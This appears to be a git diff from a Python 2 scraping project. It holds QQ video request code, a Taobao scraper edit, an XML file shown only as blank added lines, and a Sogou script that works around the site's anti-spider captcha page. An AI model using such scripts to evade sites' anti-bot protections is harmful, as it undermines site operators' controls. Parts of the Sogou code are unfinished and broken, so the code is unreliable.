HEADERS.copy() + + request_cookie = self.cookies.copy() + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + + def b(self): + url = 'http://ugcydzd.qq.com/a0566mb7a7o.mp4' + params = { + 'vkey': '4E2E338D054D1168796D7C2DDDC3952E98BADB5E937E196BA7B8C79FAC0E71CEF22B5E67048213A97FC2D8118BE7184AC5782CA935C05B70673C27D581BAAEAA3430E438B434AFE8FFAA9393E9CC18E4A024D19A2578EC6A6FA4379451620F5E116623C6462662C917D8AE186F22B1865D422902AF8E7140', + 'br': 91, + 'platform': 2, + 'fmt': 'auto', + 'level': 0, + 'sdtfrom': 'v1010', + 'guid': 'a30b9989e977cba7534ae35f968152f2', + } + request_headers = HEADERS.copy() + + request_cookie = self.cookies.copy() + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + + +if __name__ == '__main__': + video_url = 'https://v.qq.com/iframe/preview.html?vid=a0566mb7a7o&width=500&height=375&auto=0' + item_vid = 'a0566mb7a7o' + qq_video = QQVideo(item_vid) + qq_video.a() diff --git a/fuck/sogou_antispider.py b/fuck/sogou_antispider.py new file mode 100644 index 0000000..54513a3 --- /dev/null +++ b/fuck/sogou_antispider.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: sogou_antispider.py +@time: 2017/11/28 下午11:55 +""" + + +import time +import json +import math +import random +import requests +from HTMLParser import HTMLParser + + +html_parser = HTMLParser() + + +headers = { + 'Host': 'www.sogou.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + + +s = requests.session() + + +antispider_url = 'http://www.sogou.com/antispider/' + + +def _get_tc(): + tc = str('%13d' % (time.time() * 1000)) + return tc + + +def _get_antispider_page(): + r_g = s.get(antispider_url, headers=headers) + cookies = r_g.cookies + PHPSESSID = cookies.get('PHPSESSID') + ABTEST = cookies.get('ABTEST') + IPLOC = cookies.get('IPLOC') + SUID = cookies.get('SUID') + SUIR = cookies.get('SUIR') + + print 'ABTEST', ABTEST + print 'SUID', SUID + return ABTEST, SUID + + +def _get_a(): + a_url = 'http://pb.sogou.com/pv.gif' + a_data = { + 'uigs_productid': 'webapp', + 'type': 'antispider', + 'subtype': 'verify_page', + 'domain': 'sogou', + 'suv': '', + 'snuid': '', + 't': _get_tc(), + 'pv': '', + } + res = s.get(a_url, params=a_data) + SUV = res.cookies.get('SUV') + print 'SUV', SUV + return SUV + + +def _get_b(): + pass + + +def _h(a, b): + return math.floor(random.random() * (b - a) + a) + + +def _get_sn(abtest, suid): + e = int(abtest[0]) + SN = suid[e, _h(e, len(suid)) + 1] + print 'SN', SN + return SN + + +def _get_sn_uid(abtest, suid): + url = 'http://www.sogou.com/antispider/detect.php' + tc = _get_tc() + data = { + 'sn': _get_sn(abtest, suid), + '_': tc + } + random_dict = {} + + int(random.random(), base=36) + + +def _get_code_img(): + img_headers = dict(headers, **{ + 'Referer': 'http://www.sogou.com/antispider/', + 'Pragma': 'no-cache' + }) + + img_tc = _get_tc() + img_url = 'http://www.sogou.com/antispider/util/seccode.php?tc=%s' % img_tc + print img_tc + print img_url + + # 保存验证码图片 + img_name = 'sogou_%s.jpg' % img_tc + img_r_g = s.get(img_url, headers=img_headers) + print img_r_g.cookies.__dict__ + img_content = img_r_g.content + with open(img_name, 'w') as f: + f.write(img_content) + time.sleep(3) + + +def _post_code_form(verify_code): + + form_headers = dict(headers, **{ + 'X-Requested-With': 'XMLHttpRequest', + 'Origin': 'http://www.sogou.com', + 'Referer': 'http://www.sogou.com/antispider/', + 'Pragma': 'no-cache' + }) + print form_headers + url = 'http://www.sogou.com/antispider/thank.php' + data = { + 'c': verify_code, + 'r': '', + 'v': 5 + } + r_p = s.post(url, data=data, headers=form_headers) + r_p_json = json.loads(r_p.content) + # {"code": 3,"msg": "验证码输入错误, 请重新输入!"} + # {"code": 2,"msg": "未知访问来源"} + print r_p_json + if r_p_json.get('code') == 0: + print u'识别成功' + else: + print r_p_json.get('msg') + return True if r_p_json.get('code') == 0 else False + + +def fuck(c=3): + ABTEST, SUID = _get_antispider_page() + SUV = _get_a() + + SNUID = _get_sn_uid(ABTEST, SUID) + + while c >= 0: + _get_code_img() + + verify_code = raw_input('verify_code') + res = _post_code_form(verify_code) + if res: + break + c -= 1 + + +if __name__ == '__main__': + fuck() + + +""" +注意 js substr substring 区别 +""" diff --git a/fuck/taobao.py b/fuck/taobao.py index 8aebac8..b685578 100644 --- a/fuck/taobao.py +++ b/fuck/taobao.py @@ -6,13 +6,16 @@ import json import os import tools.html +import sys +reload(sys) +sys.setdefaultencoding('utf-8') header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36', } s = requests.session() -keywords_list = ['衣服'] # 爬虫待访问关键词列表 +keywords_list = ['童装'] # 爬虫待访问关键词列表 keywords_visited_list = [] # 爬虫已访问关键词列表 @@ -64,7 +67,8 @@ def save(result_list, file_name): filename = file_path + file_name result_json = json.dumps(result_list, indent=4, ensure_ascii=False) with open(filename, 'wb') as f: - f.write(result_json.encode('utf-8')) + # f.write(result_json.encode('utf-8')) + f.write(result_json) def time_statistics(start_time): diff --git a/fuck/tyc-num.xml b/fuck/tyc-num.xml new file mode 100644 index 0000000..de2b3ce --- /dev/null +++ b/fuck/tyc-num.xml @@ -0,0 +1,22813 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 